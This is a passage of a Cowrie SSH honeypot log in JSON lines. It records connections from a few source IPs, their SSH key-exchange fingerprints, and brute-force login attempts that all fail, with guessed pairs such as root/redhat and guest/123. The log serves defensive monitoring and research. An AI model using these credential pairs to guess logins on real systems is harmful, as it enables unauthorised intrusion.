tp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:23.683163Z","src_ip":"143.20.185.207","session":"609d726fff4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZENNIXKY#8VCPU16GBAMD","message":"login attempt [root/ZENNIXKY#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:24.156345Z","src_ip":"143.20.185.207","session":"609d726fff4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55322,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9ef3ea46a46","protocol":"ssh","message":"New connection: 45.156.87.253:55322 (10.17.0.5:22) [session: c9ef3ea46a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:25.040755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:25.044091Z","src_ip":"45.156.87.253","session":"c9ef3ea46a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:25.123735Z","src_ip":"45.156.87.253","session":"c9ef3ea46a46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:25.271557Z","src_ip":"143.20.185.207","session":"609d726fff4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:25.542939Z","src_ip":"45.156.87.253","session":"c9ef3ea46a46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:26.625537Z","src_ip":"45.156.87.253","session":"c9ef3ea46a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55336,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7ae12f41dc2","protocol":"ssh","message":"New connection: 45.156.87.253:55336 (10.17.0.5:22) [session: b7ae12f41dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:28.604282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:28.607768Z","src_ip":"45.156.87.253","session":"b7ae12f41dc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:28.687379Z","src_ip":"45.156.87.253","session":"b7ae12f41dc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"toor","message":"login attempt [debian/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:28.931872Z","src_ip":"45.156.87.253","session":"b7ae12f41dc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:30.014181Z","src_ip":"45.156.87.253","session":"b7ae12f41dc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43424,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ef5316b2d3f","protocol":"ssh","message":"New connection: 45.156.87.253:43424 (10.17.0.5:22) [session: 2ef5316b2d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:31.908416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:31.912878Z","src_ip":"45.156.87.253","session":"2ef5316b2d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:31.997054Z","src_ip":"45.156.87.253","session":"2ef5316b2d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"test","message":"login attempt [data/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:32.241916Z","src_ip":"45.156.87.253","session":"2ef5316b2d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":58908,"dst_ip":"10.17.0.5","dst_port":22,"session":"71e635008d3b","protocol":"ssh","message":"New connection: 38.93.206.2:58908 (10.17.0.5:22) [session: 71e635008d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:32.685405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:32.687785Z","src_ip":"38.93.206.2","session":"71e635008d3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:32.737125Z","src_ip":"38.93.206.2","session":"71e635008d3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andruhova.1982","message":"login attempt [root/andruhova.1982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:32.889752Z","src_ip":"38.93.206.2","session":"71e635008d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:33.333097Z","src_ip":"45.156.87.253","session":"2ef5316b2d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:33.941402Z","src_ip":"38.93.206.2","session":"71e635008d3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43436,"dst_ip":"10.17.0.5","dst_port":22,"session":"9728eda8af24","protocol":"ssh","message":"New connection: 45.156.87.253:43436 (10.17.0.5:22) [session: 9728eda8af24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:35.210414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:35.214111Z","src_ip":"45.156.87.253","session":"9728eda8af24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:35.296648Z","src_ip":"45.156.87.253","session":"9728eda8af24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"root@123","message":"login attempt [user1/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:35.540301Z","src_ip":"45.156.87.253","session":"9728eda8af24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:36.622796Z","src_ip":"45.156.87.253","session":"9728eda8af24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43452,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a4d2c3d22df","protocol":"ssh","message":"New connection: 45.156.87.253:43452 (10.17.0.5:22) [session: 0a4d2c3d22df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:38.569995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:38.571804Z","src_ip":"45.156.87.253","session":"0a4d2c3d22df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:38.651280Z","src_ip":"45.156.87.253","session":"0a4d2c3d22df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123","message":"login attempt [guest/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:38.892673Z","src_ip":"45.156.87.253","session":"0a4d2c3d22df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:39.974550Z","src_ip":"45.156.87.253","session":"0a4d2c3d22df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36384,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e75ecca42ee","protocol":"ssh","message":"New connection: 45.156.87.253:36384 (10.17.0.5:22) [session: 7e75ecca42ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:41.946037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:41.948523Z","src_ip":"45.156.87.253","session":"7e75ecca42ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:42.030750Z","src_ip":"45.156.87.253","session":"7e75ecca42ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:42.271050Z","src_ip":"45.156.87.253","session":"7e75ecca42ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:43.512813Z","src_ip":"45.156.87.253","session":"7e75ecca42ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36414,"dst_ip":"10.17.0.5","dst_port":22,"session":"62c48ba75857","protocol":"ssh","message":"New connection: 45.156.87.253:36414 (10.17.0.5:22) [session: 62c48ba75857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:45.274195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:45.277594Z","src_ip":"45.156.87.253","session":"62c48ba75857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:45.358528Z","src_ip":"45.156.87.253","session":"62c48ba75857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chenxi","password":"123456","message":"login attempt [chenxi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:45.600308Z","src_ip":"45.156.87.253","session":"62c48ba75857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:46.683400Z","src_ip":"45.156.87.253","session":"62c48ba75857","protocol":"ssh"}
